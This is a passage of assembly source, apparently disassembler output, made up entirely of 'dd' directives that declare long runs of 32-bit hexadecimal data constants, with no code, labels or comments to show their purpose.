		dd 0B0B02806h, 31BAD1AFh, 531C8C0Eh, 525403DAh,	6671A8D6h
		dd 0C7F80050h, 0B4832F48h, 4F00E8BBh, 533E9D11h, 3C6C93h
		dd 10AD9201h, 22D8CDB1h, 0FD6F5B07h, 5554254h, 3D325DC0h
		dd 0B0F30353h, 0ECDFA264h, 77A767B0h, 275D3703h, 0B8FF03AAh
		dd 0C58670h, 5B8223EAh,	81FDAC35h, 0E9F86400h, 0DEB7CA7Ch
		dd 0B3DF0052h, 0DACBF051h, 66001449h, 13C8D5F8h, 48A5BFBEh
		dd 791FACF1h, 1CDD8Dh, 84A848E8h, 7600BE4Dh, 246DC989h
		dd 285FED9h, 2DE0C57Bh,	40DDBF69h, 0DA43EDh, 43C8F1Eh
		dd 9DF37428h, 0EFF50600h, 9C301FAEh, 7BF82E65h,	4A3D0228h
		dd 0D6013BFh, 45020DF0h, 0D36DD982h, 9CE1407Ch,	0C56E004Ch
		dd 838E7B8Bh, 0B40F2B6Ch, 5F53037Fh, 43F1C600h,	309C4BF4h
		dd 3C585F95h, 693B8738h, 5D6A000Dh, 1C489897h, 0F2850035h
		dd 0B0C4BCD2h, 3C034B76h, 8A3119ECh, 0F64FE0EEh, 0CAFE002Ah
		dd 0FC256C87h, 3500031Ch, 1D188C9Ch, 0A2EF63Fh,	953E1389h
		dd 2A480793h, 39BF7022h, 0E901FDC5h, 96DA6CA6h,	3920B48Fh
		dd 17370049h, 0FFB60C79h, 4600AD28h, 1E9164A6h,	3FD2E0h
		dd 74428440h, 0F5263CA7h, 23E8ED00h, 0FBF72261h, 4801000Fh
		dd 0C51142E0h, 501389A3h, 3803CCC9h, 0A8FF3F66h, 736901Dh
		dd 96D3FEF9h, 25E4D065h, 0C6129C3Dh, 6712E529h,	0CD7A0FBAh
		dd 6783440h, 2F01283Ch,	0D212E970h, 9C47FF79h, 9A885ED0h
		dd 0F70F00DBh, 97C4A1D4h, 6C48C729h, 0FA37007Bh, 9D7B6AC9h
		dd 91FE00B3h, 0F2AE614h, 76009028h, 39D2AEA1h, 2DD797Fh
		dd 9F55C227h, 1140DF59h, 3A071DB1h, 0ABB64DC1h,	458576F1h
		dd 67D8BDDDh, 0F56000D0h, 952F9A56h, 0A51C8011h, 0FD417AA8h
		dd 1804C34Bh, 8CD230h, 0ADF91341h, 48A8E0BBh, 4C3D5600h
		dd 2FE5C4A4h, 0E73B00CAh, 4FC3D670h, 0AB009121h, 80EC3106h
		dd 3BFE9F47h, 48F4E3A6h, 0A6608C44h, 0C7AEBEDCh, 0E97915Ch
		dd 0E0FF6AC8h, 254AAC20h, 0CEF6003Ch, 0A62B0724h, 0C6045BCFh
		dd 0F81AEE9h, 643B0080h, 30C00059h, 650A8EF6h, 0FF1E628Ch
		dd 200882Eh, 29B0CBAEh,	3F730008h, 0A640030Ch, 1290F2FEh
		dd 0E03A1C00h, 2EBEB36Ah, 0BA0A00C8h, 418F3BE5h, 0ACC2DBDDh
		dd 40AF32A9h, 0FFFE1C43h, 0B44C90F7h, 91490033h, 0DBD7C930h
		dd 0AC005C10h, 270BC75Bh, 1FBBE836h, 87F18Dh, 1AA7B47Dh
		dd 5F00E604h, 721F49E2h, 7F4329h, 74D9DCF5h, 275C41B2h
		dd 1202A9E4h, 0C7E6B6FFh, 0A62640CEh, 7BAD0078h, 0BAA45A77h
		dd 0D4008829h, 878DBE55h, 1DCE9CCAh, 0E553E2EEh, 86002ED0h
		dd 0EDA2D91Ch, 3516F5h,	34DC62B6h, 70CA084Bh, 0BD1A0400h
		dd 0C1B1E2A7h, 11803C9h, 0D61697B5h, 93251C90h,	0C5965900h
		dd 7E65F92Bh, 3EE305A0h, 0C08CAEFBh, 0EC72EE24h, 0BD97B102h
		dd 40D604DDh, 3E477D5Bh, 3F80066Dh, 55FCCBAAh, 11004438h
		dd 0EBD7A7DCh, 33D8A4Ch, 0C0517A6Fh, 0B9B37443h, 11C65100h
		dd 1839969Ah, 369E0013h, 0E20D95BBh, 0AC03AE4Fh, 4CFFFEA4h
		dd 3BAD8A0h, 98C3006Fh,	5894228Ah, 1407E26Dh, 480D72EFh
		dd 0ECEBD550h, 935E0021h, 2FD8F5CAh, 1300D617h,	75976FB7h
		dd 1E4C883Ah, 0A481BEEEh, 1EE02413h, 0C15183DAh, 2C80451Bh
		dd 650453E7h, 8D6C14DEh, 0DAD857C0h, 170801C7h,	0A5EB1C94h
		dd 1693D0B1h, 9D470900h, 6DDA2883h, 0A03700C3h,	0B973E32Ch
		dd 8FF035FCh, 4620CE00h, 0B7BE7D85h, 513E1DCFh,	21040007h
		dd 7A5DE967h, 70D98E00h, 0B1117440h, 0B66D0789h, 4013B737h
		dd 19E856F3h, 3803E477h, 0BD546195h, 427AF0F6h,	18680364h
		dd 0E9B404ADh, 496B8498h, 33B7B100h, 0EE96FC4Dh, 685400D9h
		dd 0BFEF9D52h, 28703978h, 0AAB7D800h, 65648082h, 2EC058DAh
		dd 3933B32Eh, 0BCDF3280h, 693A1014h, 0C10588E6h, 2ADD2BF3h
		dd 68D100BFh, 8FBC295h,	0FAF48900h, 0E6E562F1h,	5A0E001h
		dd 6B6A8BC9h, 0E01C0Ch,	0D7611A68h, 2A00E49Dh, 0F898D4EEh
		dd 3C2CDEh, 77129B66h, 3F3DDFBBh, 0D35770E9h, 0C926B500h
		dd 7F45CE54h, 27FA0F20h, 8E0783BDh, 12AC003Bh, 0F80002D9h
		dd 746B03F5h, 89E8BCh, 3CF013EAh, 0AB8087C2h, 0ED0058F4h
		dd 0B5472AD3h, 1B25D2h,	9E1DF7E5h, 117C889Bh, 87833700h
		dd 0C8DCAE08h, 6CE00DEh, 0D6DF03E9h, 250EE6BDh,	64F845h
		dd 85171D5Fh, 8BE50E15h, 0B9C3D451h, 93B1E776h,	61E0C6FDh
		dd 0A6000FC1h, 0C84AEF6Eh, 0FF4C4Fh, 328616CEh,	0ACE44EA8h
		dd 0D1001D7Bh, 1F5B8931h, 0DDE16Eh, 36957FAAh, 0FD43F685h
		dd 76EF6400h, 51D91844h, 8E63072Ch, 1129D8CCh, 0F87CED78h
		dd 6400479Ch, 0F79BD034h, 4B04AAh, 0E4422A76h, 0F3256BD2h
		dd 2C00D498h, 0DAF683ADh, 1D9016h, 0BF12F5A1h, 0D3DD0A9Ah
		dd 52003776h, 81F0CEE4h, 0F1549Eh, 0D2106E3Ch, 0B7CFFEF7h
		dd 0CC83A800h, 0E93BFB80h, 20C203CDh, 9DA6AD61h, 1BFD9C8h
		dd 80F9633Eh, 0B7AF42FBh, 75FB4C3h, 4827179Fh, 453C2038h
		dd 0EA002C5Ah, 3A9DADF5h, 2C8C94A9h, 0B512F6h, 735F170Dh
		dd 7E01B7D6h, 0AE11693Eh, 0A6D0DA47h, 68B007Ah,	6271AB7Fh
		dd 2B0099AAh, 0BB2D482Fh, 4CA610h, 45E79366h, 470FC638h
		dd 0ED92C200h, 2F87630Bh, 0E05301DDh, 40AF151Ah, 161DE87Dh
		dd 0DC006AE0h, 492AC255h, 790AB48Ch, 0AEFC4C50h, 0BA845A07h
		dd 225A3DEh, 972F182Eh,	64173B01h, 0CCE83599h, 5EB40043h
		dd 0EA59FE13h, 540780E1h
		dd 78BB94CFh, 0C89FA863h, 0AA10D4h, 493A30DCh, 7AFFA725h
		dd 61E0901h, 9AAB8575h,	0E02DFCh, 8E464F82h, 2BAFEFAh
		dd 0D0008BE6h, 80BBDEDAh, 0DD761Fh, 0CACB722Bh,	0EB7118E2h
		dd 727FD95Ch, 0A2B5AD0Fh, 0AA728451h, 0F14F78C0h, 0F4360183h
		dd 3769A186h, 6304D49Bh, 7CBBE600h, 79C447DBh, 7FF1004Eh
		dd 73FAE443h, 6E1FB906h, 7500D084h, 0F149E677h,	3A8300ACh
		dd 0DCBFA224h, 0A3D1CEDh, 2EA5B855h, 0D9008851h, 0F45E8F3Eh
		dd 0C43900ECh, 0C76D4041h, 4717D110h, 71039D24h, 0E85474D5h
		dd 14215Eh, 6D3FA41Eh, 6137D8EDh, 49AEA700h, 4C8BB055h
		dd 0B96B0031h, 11851DA9h, 0BA00BBDDh, 4809AE97h, 62A5BDh
		dd 504E535Fh, 67164792h, 0C6F8EFB8h, 2B34B507h,	5990D508h
		dd 9DAF25h, 123958D9h, 37EAECE4h, 10A27D00h, 912AAE5Dh
		dd 414801E8h, 0A9A35B8Eh, 7735E452h, 5155AB07h,	0DD300AB5h
		dd 1F082DAh, 61E758B3h,	0D85BFDA6h, 800A82Eh, 24FC92A1h
		dd 11D8348h, 1F6FEE07h,	0C498855Dh, 9E0ECB0Ch, 87045C62h
		dd 0DD900F2Ch, 6CC86A0h, 2752A28Dh, 1500209Ah, 0D170ECBCh
		dd 0E07AF5h, 7DFB778h, 5A683589h, 0B900D4E6h, 4DE61403h
		dd 0DEC292h, 19291D5Ch,	8B77611Eh, 7F604000h, 0DED838Dh
		dd 0BA60435h, 0ABE7CEAAh, 0C130820Eh, 2716C0C8h, 0AC2CE0EEh
		dd 0B371003Ch, 8928D263h, 9A19B8ABh, 0CC282332h, 2087D0h
		dd 3E0E3880h, 6EE447C4h, 1991E000h, 24BDEE64h, 1BAF00A7h
		dd 8B692A52h, 0E51F947Fh, 0B24344C1h, 0C91AFFh,	7414EBE0h
		dd 0C876F999h, 21E72200h, 0E50B8B57h, 0E16D01B1h, 0CABEF4C6h
		dd 0FE8070F6h, 273A4D00h, 2433886Bh, 963E0042h,	6EB16A52h
		dd 0A1136C79h, 9000ACE6h, 1EEFC654h, 4910C031h,	0FC3DDC08h
		dd 0C8B1200h, 25054D98h, 9E7600D7h, 0B93606A6h,	7274C5D1h
		dd 40BE1913h, 2B3A0EBEh, 8B2E460h, 45001481h, 59046B41h
		dd 1AD3BF9h, 8AA5EAB8h,	205F9890h, 0F4009F0Ch, 1062D33Ah
		dd 0FAF05561h, 0A8D7005Eh, 8EBDB988h, 0DB00E5B6h, 8A765337h
		dd 1EAB5C3h, 7AC68D2Dh,	7047C9F0h, 0C500AD7Eh, 9B2539E9h
		dd 182B8BEh, 0F6EC6FE6h, 0F4DC3E69h, 0D64A587Dh, 521D9C80h
		dd 202D2617h, 25650011h, 8BB36D11h, 23AC2100h, 0C0F8D471h
		dd 4D68009Eh, 6974CD4Ah, 0BA003362h, 102EF75Fh,	1C69AB5h
		dd 0AA0DF295h, 0F0149D0Ah, 82690B6h, 800002F5h,	85C8BA3Dh
		dd 12D27171h, 0F11E4C7h, 86E79B74h, 968A4069h, 0A005F84h
		dd 0F707E1BEh, 0E98155FAh, 0A152E0h, 48250E7Ah,	0A0D695F4h
		dd 0ED4BF906h, 0B8EAC9h, 14D7B840h, 4F12C77Dh, 16450500h
		dd 0AD199AE2h, 0F05100CFh, 8E59C12Ch, 73060264h, 50765689h
		dd 6BF70018h, 0CB61A0D0h, 49C12BB8h, 5E1D2084h,	0F7E8C8h
		dd 0CBF46F94h, 0C24560F1h, 0FBCEE500h, 0B618B5C8h, 7B01FA65h
		dd 87F6037Ah, 0BBC76B6Dh, 625158C0h, 7982100h, 7011B0ECh
		dd 796760CDh, 0DC13551Fh, 0C7686300h, 41165265h, 997E3C90h
		dd 64663400h, 0D426FCE0h, 0E04EC828h, 80A1EF00h, 0E4B2778Ah
		dd 67F660h, 921DFAAEh, 0ED30F187h, 0DED9E707h, 1B0C9A4h
		dd 5A1880h, 0E6D3D4ECh,	495B4FCEh, 76B7D200h, 0CDAA4864h
		dd 0EE3A1EFDh, 0CCB4C119h, 0E453081Fh, 0F0EE3CAh, 8007B0h
		dd 7F8EFE2Bh, 0E0890770h, 0C13CC555h, 0D4A52E17h, 0D909DC94h
		dd 80ACD5DDh, 5405A118h, 7FEF003Bh, 78D202AAh, 5500DD68h
		dd 9C1B5740h, 2E50B6h, 7B240191h, 977205DEh, 0A2ED5E00h
		dd 0B1D0543Bh, 0F8AB69Ah, 0E0404BBFh, 0F60CFBDAh, 4AAA6D1Eh
		dd 0CB9E1007h, 810A2580h, 78870054h, 0DD3E5CA4h, 2F073F01h
		dd 2AC145B8h, 0EB912DE0h, 0B79E01F1h, 0A7050D9Bh, 0F098FC6Dh
		dd 87402760h, 409AA62Bh, 5200325Dh, 0C3AB53DCh,	2881E601h
		dd 0FEAEB17Dh, 99BF00B8h, 0B2FB0BC2h, 72009484h, 48FF6477h
		dd 9A12762h, 56C35944h,	2A343600h, 0CC12F9EAh, 5D007492h
		dd 2C81075Bh, 12DEF218h, 0C57C7Fh, 6EB8C909h, 0DA00AD7Eh
		dd 6B593426h, 7B632760h, 76CE00AAh, 0B0A639A9h,	7D01BD4Dh
		dd 0AFED6441h, 26C1E2A1h, 0A23100F7h, 4BE30BB7h, 0DC00041Dh
		dd 0D0915F8Ah, 78DD41h,	9505C055h, 4BA258D3h, 24966200h
		dd 0E102A83Bh, 0F9F8390Bh, 0C1578180h, 0E488A91h, 0D7714700h
		dd 0F629D8C2h, 0CA0F00E0h, 0DBFD64D5h, 5E3C2A76h, 0DA6E00D2h
		dd 0EE5AE5DFh, 20A9009Ch, 803DB57Ah, 840916ECh,	56DBA6Bh
		dd 8E0FF32Dh, 6872805Bh, 3AF08374h, 0F50F2F53h,	0A809512h
		dd 0B4F82C07h, 0A9007676h, 415F4A9Fh, 7453E1Dh,	9557A2BBh
		dd 5EFBF0B1h, 0E20C27EFh, 0A00A4836h, 3E3B0038h, 0BE4C9B80h
		dd 0FB04592Ah, 0B4A2CA39h, 0E9C08894h, 506A8AB8h, 938CCFh
		dd 0CCCA0182h, 3F6C7A83h, 7D0056FEh, 0C402D9EDh, 43F32Eh
		dd 7BCABD53h, 1509F426h, 0EF81F601h, 0F82E304Ch, 9EBABE80h
		dd 912CAEDCh, 0B0F22F30h, 0DA727Dh, 975094CBh, 0E8371356h
		dd 0BA87DC00h, 5BD62CBFh, 85FF007Bh, 6235D760h,	5E009175h
		dd 13C3E1F7h, 0FBC03D9h, 0F3113459h, 0EFE03F0Fh, 894021F2h
		dd 0BBB41900h, 1B5A1F73h, 30E712B7h, 0C01300C4h, 87276567h
		dd 0D0C8E000h, 0EDE985A3h, 0CAB70066h, 0FD3BCD9Bh, 0DE0089B4h
		dd 5CF11975h, 0E695AA14h, 31CFEB6h, 0F96690C2h,	48E01AF5h
		dd 20037779h, 70950F9Dh, 5E3FB49h, 0E88852D8h, 0C5C800C2h
		dd 2772E5C0h, 7416CC03h, 0A3403DFDh, 6E2398C4h,	38AF1CDCh
		dd 3B42429h, 0EB143C0Eh, 803E3074h, 95498147h, 0FC5E0D1Fh
		dd 203C30h, 9838107Bh, 79F357DAh, 0E961C000h, 4DF46C37h
		dd 0B740077Ch, 30213B42h, 0EE0D31B4h, 0FF03B613h, 7A162000h
		dd 1D7DD2Bh, 36844EE5h,	804A69F3h, 64423380h, 757EA2C1h
		dd 989B0054h, 8039D1ADh, 0B600F696h, 0F09276C6h, 0FE063Dh
		dd 79EED62Bh, 0EF36CDDEh, 17D06200h, 0FAD389FCh, 0AE010025h
		dd 83326846h, 591F76CCh, 0DFC03E18h, 60C25AEEh,	366E0777h
		dd 60F5E28Dh, 0DABD2978h, 9EA9D001h, 9A866758h,	960530h
		dd 44B94DDFh, 0DAF7E165h, 7F87AE0Eh, 34EF401Bh,	0EC5633h
		dd 9BE3E65Fh, 0B4C4E26Ch, 0B900F7B8h, 0F63B8D0Fh, 3EF9860h
		dd 234EFC69h, 99C09716h, 493C6E2Bh, 80108027h, 0EE732CC0h
		dd 28821DD9h, 0D3AC8317h, 84E0092Bh, 0EF4CC5D4h, 3ADD005Bh
		dd 43A1C695h, 0DA4F00C7h, 0D3085CE8h, 0A8EA5FD7h, 85EF4C2Eh
		dd 7E06B09h, 0ABDEDA2Bh, 910703B1h, 3F80C464h, 3CDD4355h
		dd 9A803EF0h, 0C87917CAh, 41F69245h, 0CD4B48h, 97B55698h
		dd 0DC7ABh, 71BC4CDCh, 1AEC3B8Ch, 0F17DB300h, 0B7EB3FFDh
		dd 0D9E301C9h, 79D53355h, 9EC8FC6Ah, 0E08FA001h, 0E3D1FA19h
		dd 1D22F8h, 0EF1FD81Bh,	80B857BBh, 0C0D2A730h, 3B40231h
		dd 0A8E620D0h, 38A07B1Eh, 0B658B896h, 3C500DCh,	0B26EDF2Eh
		dd 827500C1h, 69581A25h, 2A05BA6Ah, 39CD339h, 78D98D00h
		dd 24DFF4C7h, 0D40902h,	66EA9DA5h, 0A01F75Bh, 0E228F204h
		dd 51D42543h, 157798Ch,	0E8DCB2C2h, 20FA59A7h, 0CF0034B9h
		dd 0C404AE28h, 4C082E95h, 5F179830h, 0A7510748h, 0AA49A084h
		dd 0DEE247E6h, 5C2E3400h, 623B9F88h, 19CF009Bh,	7DC4B603h
		dd 0BF074F3Ch, 728B11B5h, 97FF0780h, 513A0761h,	0F0D29F4Ah
		dd 0FC878E76h, 55E4E503h, 8091382Eh, 2FA8CBDh, 0F4ACD386h
		dd 0A9810C31h, 3112F1C5h
		dd 6F9C60A4h, 3389630Fh, 7AB240A7h, 0CFF7A4D6h,	75409A21h
		dd 0FB1F5EBEh, 9223F63Ch, 470F0EA2h, 0D007D2B1h, 0F3C0ED05h
		dd 529208h, 0AF8593DFh,	7146D1FEh, 60D9AD00h, 4D66484Ch
		dd 516008Ah, 0FE1252D6h, 4EE69AA4h, 0D0075FFEh,	0DB39B001h
		dd 665A79C0h, 0FF7D0023h, 4C81BD8h, 0D6000BEEh,	984CF5Eh
		dd 0A0891659h, 7C661F5h, 3A40363Bh, 5F8B76h, 0D15E78AEh
		dd 4D8D3ED2h, 33238900h, 0EABBAE38h, 0E6849901h, 5B452F5Ah
		dd 0EE7E60h, 38741A77h,	0DE163FB6h, 4F488100h, 0D0663AE1h
		dd 906Bh, 0B8B2EC20h, 8C02A12Bh, 86922A01h, 5175784Dh
		dd 0B909F4h, 41BF5420h,	96217A01h, 0C0EE3C00h, 94668516h
		dd 82290067h, 8B5F9538h, 8A00B49Eh, 51804AA5h, 1CA9D985h
		dd 40CE9AC9h, 906F916Ch, 0D800C8AAh, 20489E98h,	94759Fh
		dd 59C75E07h, 0DD8D7646h, 0E95FAB00h, 0EE9C8942h, 0E084A347h
		dd 687986h, 58BF1D26h, 97836035h, 0F8A6EA00h, 0CAD1CE95h
		dd 9A71F54Eh, 820920h, 9E2AEECCh, 87B00DC0h, 7266EC06h
		dd 1540ABA7h, 0A88CFC3Ch, 71047629h, 38CC5650h,	75048Dh
		dd 2D7DAD95h, 0F90083C6h, 0C4800DDCh, 2E920Ah, 0AA8D707Eh
		dd 0FB22091Eh, 0D434CC0Fh, 7C801C41h, 0F34B8BF7h, 482E0047h
		dd 0E2F9DE8Ch, 0A0EA984h, 605A82E3h, 5430D51Fh,	0C78600B6h
		dd 0BF812AE1h, 5805480Ah, 0E6ACCA4Ah, 21512038h, 0DF9E267Ah
		dd 7022FE00h, 0CD647CCh, 0AB0C7341h, 9A0044C9h,	178A7D0Fh
		dd 0F0453C16h, 0C08BE83Fh, 0EABF1411h, 1B00C8D2h, 0F46B9DF7h
		dd 13B8E592h, 79F267h, 8EDA833h, 0BAFE0648h, 0FA9E762Ch
		dd 6D8DB306h, 45650060h, 0F6D5179Ch, 0A300C1CAh, 4FF1D648h
		dd 34B0EECh, 0BF027079h, 502A7E1Eh, 640AB445h, 0A860AAF0h
		dd 0DD421C00h, 0DFC0CB4h, 6D0A0B16h, 0B0608318h, 61BC764h
		dd 0E69139B0h, 6754105Dh, 27022620h, 7B22D6F8h,	0ED343E20h
		dd 2027B054h, 0DC1D27C0h, 8FC97D1Ah, 534FD188h,	617CC005h
		dd 4078956Ch, 0BA534085h, 5B220A10h, 8A608D02h,	0DC808EAEh
		dd 157BDD3Ch, 0DAD42F1Dh, 600DEB80h, 1FE77891h,	1F5ADBh
		dd 4928F9D2h, 45000AC5h, 0FD8A9B8Fh, 5470169Fh,	43D203Eh
		dd 68EA2EF7h, 1222A9Bh,	9112F39h, 1817763Bh, 8B16310h
		dd 3E1A5C5h, 40996608h,	706BCFE8h, 62F92C84h, 2202310h
		dd 15E11E96h, 39150815h, 2614470h, 678C47A9h, 7E349CCAh
		dd 6D812352h, 6A21E00h,	804EBE05h, 0C74345CEh, 684F6ACFh
		dd 0B3804015h, 0B94B2FD6h, 54CE858Fh, 20357Eh, 434948B0h
		dd 8A8FBB38h, 0CF2069E6h, 5F34AF60h, 0B8560C77h, 0D68AC740h
		dd 9CE3208Ah, 0BC42DA6Ch, 4C351E60h, 0A3E646D3h, 4504A9BEh
		dd 7007C9BFh, 8A574CC0h, 0A97F4Eh, 99C3140Ah, 41E92E37h
		dd 87AD8513h, 71CA5842h, 309060CEh, 0CB54134Bh,	5B544AA4h
		dd 25926020h, 404744BDh, 2378B8C8h, 0D00E2B93h,	3C3CC440h
		dd 72FB1578h, 0C8A920B6h, 7D1064B6h, 94A8DF36h,	0B6AD8085h
		dd 38040B2Eh, 0B07A2F11h, 0EC22CB1h, 400A3D48h,	0D9404D89h
		dd 2204B40h, 0A7FB3876h, 44433E46h, 4C9DB4C0h, 918F41D1h
		dd 3D107AD8h, 480496F5h, 0CCBD4F1Bh, 290F82A8h,	300B9587h
		dd 54C5A9h, 40A45Eh, 682465E7h,	64BE28B0h, 0C10D9D06h
		dd 318ECE0h, 18A339A6h,	0F0E0BA25h, 6E238D3h, 20BE6E29h
		dd 3EAEC400h, 4416C7C1h, 68009F13h, 5C598F2Ah, 90F710A9h
		dd 2E8E00C7h, 0A414E249h, 3D60CCE8h, 90191728h,	1CD801CFh
		dd 1D5805F7h, 10204B9Eh, 6FA03F4Ah, 0ED1E1E17h,	5C7EB9Ah
		dd 78C8426Ch, 0ED471C9Ah, 2044812h, 0E97641CAh,	0E64220B6h
		dd 551938C0h, 5442C389h, 4320F2A2h, 80576C02h, 0E5EC3DD3h
		dd 0C31D2000h, 0F270A334h, 0D0BA0329h, 0F581943Ah, 0E3896F81h
		dd 0C7E019F3h, 2F00201Eh, 0D13FF39Ah, 89F7390h,	369912A7h
		dd 0C49215E7h, 0CF0815F7h, 8F6F70A6h, 471E373Dh, 0A978D3C8h
		dd 6A6D210Ch, 1CD2B751h, 60272A04h, 0F67D725Ch,	7E04809Eh
		dd 6ED7423Fh, 0A1EEA7Dh, 898DF350h, 82CBF140h, 0F4440341h
		dd 421E00E5h, 9C127991h, 40ECA13h, 8C716333h, 44DCD982h
		dd 0F8BE94E0h, 8EE70751h, 0C06890CCh, 0CFE67F73h, 65382614h
		dd 612F8E20h, 76D2FF24h, 22AB840Ah, 4B788801h, 0B7C2003Bh
		dd 73590032h, 0F39BCF46h, 1A1EDBA7h, 1DC1634Ch,	86E8A882h
		dd 0ACDDF0h, 0BA2C4F6Eh, 0AD4CB02Dh, 3FF6F104h,	0C33050B8h
		dd 0F510FFDAh, 4DA84CCAh, 29FF443h, 22D02451h, 2949443Eh
		dd 0F8EFDA10h, 0EC7D4009h, 0D6FCE814h, 0F4A1DD11h, 3318C6F1h
		dd 819E8708h, 142A8A04h, 0A0201B7Ah, 23E58762h,	52E4F701h
		dd 0DE15B43Ch, 0E2408FB0h, 0C01167Eh, 3CF56B19h, 0A1FF49Eh
		dd 20E24EAAh, 605CDDE0h, 1060AFD4h, 19EAB0B6h, 349B10DAh
		dd 2B6EA875h, 8220E24Ch, 9CF4AE1Ah, 49020815h, 4061250h
		dd 0C6C08FB4h, 42DA7CF4h, 1DC0903Eh, 78503CD5h,	3D5626A8h
		dd 190D0120h, 231FF795h, 4B343EEEh, 2020105Dh, 154A06E4h
		dd 40882B7Bh, 0C11632E2h, 0BA639D40h, 0DE840A74h, 10AB383Eh
		dd 0A87E874Dh, 814B420Ah, 5117047Ch, 8FF4C1C4h,	1C3D1689h
		dd 2BD4E440h, 0C2407AA6h, 6094411Ah, 2B973338h,	66C540A7h
		dd 1EA6202Ch, 0E3E9B987h, 2D72E4h, 0A063B380h, 8A605F57h
		dd 1178A062h, 0CDBE1195h, 4DCEF1F7h, 0B706204Ah, 8073F86Bh
		dd 567DE47Eh, 9035A200h, 3EB62193h, 34D7006Bh, 0BA6A7673h
		dd 5300AAD9h, 5A7739D3h, 3897B6C0h, 0A681C85Bh,	0A0A74A54h
		dd 1DBCEC36h, 281B2C28h, 6566DD08h, 4ECE00BAh, 0C84BA6F2h
		dd 5BCD0A00h, 2DA509E8h, 1C2000D3h, 9F434EB4h, 0BE213616h
		dd 0D53008C7h, 0F3932D05h, 0F442027h, 7560223Ch, 842F72C8h
		dd 0D840C1D1h, 83A6487Ch, 78B42D59h, 7E300F59h,	3A90AC98h
		dd 1ECA217h, 0A8558DC6h, 8787A5E2h, 0AED50A70h,	87368173h
		dd 38AC3A27h, 219DE545h, 69EEC074h, 0E7C01D0Dh,	60BBBC00h
		dd 3180D25Ah, 0D8960085h, 0CD7F0245h, 32FC3456h, 20353Eh
		dd 0A50AC72Ah, 613B405Bh, 2B5750A8h, 0EA588055h, 68D45AD8h
		dd 0C76000D0h, 3A4131DDh, 0BB52A7D1h, 0DB101DC8h, 0ADEAD300h
		dd 3A40AAh, 14362580h, 7A473250h, 2354B37Fh, 0F008AE4h
		dd 85E1E7A9h, 132DA11h,	0F41BC8D8h, 0D8902C50h,	0F1EEA621h
		dd 80DF6431h, 0F04935B4h, 772012C0h, 2D9803BAh,	0D2A07EB9h
		dd 5608AC90h, 80D3023Eh, 0A72A97EFh, 5BA63Eh, 5981549Ch
		dd 36ED257h, 0D9268F1Eh, 82A43A94h, 0A2A40F72h,	8C44A6CCh
		dd 0EA2E1884h, 0A584A02Fh, 0B1A9027Dh, 6440D05Eh, 0DED894A3h
		dd 0AFEEAB88h, 0E0A2A02h, 0A0C43262h, 81BA0BA8h, 0D83AFAB8h
		dd 0CCF448F8h, 78841300h, 3B51C430h, 0A231C00Dh, 67095B7Dh
		dd 5A065C90h, 0A1FE3A55h, 398A0A88h, 2800158h, 9A67EDC7h
		dd 2B68FCA3h, 0B486319Ah, 0A82479C9h, 0DD005BAFh, 1DA29CF0h
		dd 0A87248BEh, 0DE855205h, 0C1A82B2Bh, 4611AC66h, 27F00821h
		dd 800960ECh, 0B55613CFh, 3547F9C2h, 6980A02Fh,	0CB7801Fh
		dd 0C3BE9F5Ch, 8B1EDEB0h, 0A9009BF4h, 72FB0209h, 1414701Dh
		dd 80B5CAE6h, 2FE8660Ah, 0D59D0070h, 2EC36561h,	0C5B52C18h
		dd 9933E18h, 3F7A5748h,	19812406h, 99DBEC31h, 0E0408DC8h
		dd 0A1BC2760h, 7ED83AE4h, 0D828C2C6h, 50AF9C2Bh, 900C0687h
		dd 0AA493715h, 0B608D01Dh
		dd 720010E8h, 5BBA09D3h, 0A9E18CE3h, 0FF703AC8h, 2A401FC4h
		dd 0FC91D5D4h, 600C6824h, 169E6CCFh, 38E1D2h, 0F46A0055h
		dd 25957051h, 0F0A01C9Eh, 6E0EA909h, 0B8D23683h, 3A479D38h
		dd 0E0810A82h, 62348B87h, 0AEF980B3h, 0D8C38193h, 0B0D74D44h
		dd 0FCBB421Dh, 98766118h, 0D13E7A8Dh, 0B7263B88h, 35F180EDh
		dd 0D082A971h, 0F6DA2E83h, 66302444h, 1E0F789Dh, 0A5D91815h
		dd 201FE172h, 103DDA24h, 0E9911Bh, 0ACDC2640h, 0DE549F73h
		dd 0B425B624h, 7D27D47h, 2D24C113h, 3474830h, 0B6258251h
		dd 19C06364h, 2A7AABA9h, 7F202967h, 0B85322D0h,	91A7B4Fh
		dd 4475D750h, 1C1D4000h, 0E07054C0h, 96601E7Fh,	26F014A8h
		dd 9081E982h, 60DE98B7h, 0E58242Ch, 920C40E3h, 1A88415Ah
		dd 4E288409h, 0C660189Fh, 638F6DD9h, 50B50F6Fh,	0A2005676h
		dd 882A2581h, 0F541B8C2h, 1680A1A6h, 40C6D920h,	148C149Ah
		dd 0B4FD0439h, 44A51C50h, 2A13CC95h, 20193172h,	3A0CA818h
		dd 22602820h, 62139DBAh, 9401C43Eh, 8EEE416Fh, 880FF045h
		dd 8440903Dh, 0BBA4012h, 1825F018h, 39D76DD9h, 5005F3B8h
		dd 73C3A260h, 61863B24h, 0A81E2709h, 0A8208883h, 9EC2504h
		dd 5952D043h, 2AA64814h, 0D1DC8230h, 0EAE587B0h, 77A62060h
		dd 0E080A0DEh, 0CF1186D8h, 1F26C580h, 2825898Ch, 74A60402h
		dd 628B7C40h, 0F1C8FCFDh, 0B5FA9C0Fh, 0DA640672h, 736C0048h
		dd 0B96962ADh, 2F05FC50h, 3329D747h, 0A8DEE800h, 0C3852B34h
		dd 0DB0360C0h, 8CA00AC2h, 2F2AC3E6h, 0D64C3CA6h, 0D33C400Ch
		dd 5838C746h, 0B8F07543h, 0A42D1086h, 82DB8440h, 33C4B467h
		dd 9260FCBFh, 9784638Eh, 883C4608h, 8A62EE94h, 0D275312Eh
		dd 83BF78A2h, 4809824h,	81217282h, 69318DEEh, 2092A9A8h
		dd 0BEC47FEh, 11ECFAF9h, 0BD3040F2h, 30882245h,	0E440A0FAh
		dd 67E9EF48h, 0B077204Bh, 0CF1F89BBh, 860F652h,	44598330h
		dd 8AB97306h, 765B102Ah, 4A219CACh, 3E5384A1h, 62FA3176h
		dd 0D8AED70Ch, 3C7F282Ah, 1D08FE47h, 23422C8Fh,	0B7C23285h
		dd 2BE69C00h, 264886CCh, 12DC4D0Ch, 7818FE2Fh, 8C80E738h
		dd 0C48D3222h, 603F9BB0h, 8460527Ah, 4C83323h, 224F0DACh
		dd 44B538F6h, 3B084142h, 0D6626553h, 0DF3CA273h, 3A39203Dh
		dd 2C669ACCh, 29318BC1h, 88AC9F6Ah, 5EC13D1Bh, 5F08501Dh
		dd 90E2CC44h, 0E1BC22E4h, 320A1880h, 0E9BB2486h, 7490C700h
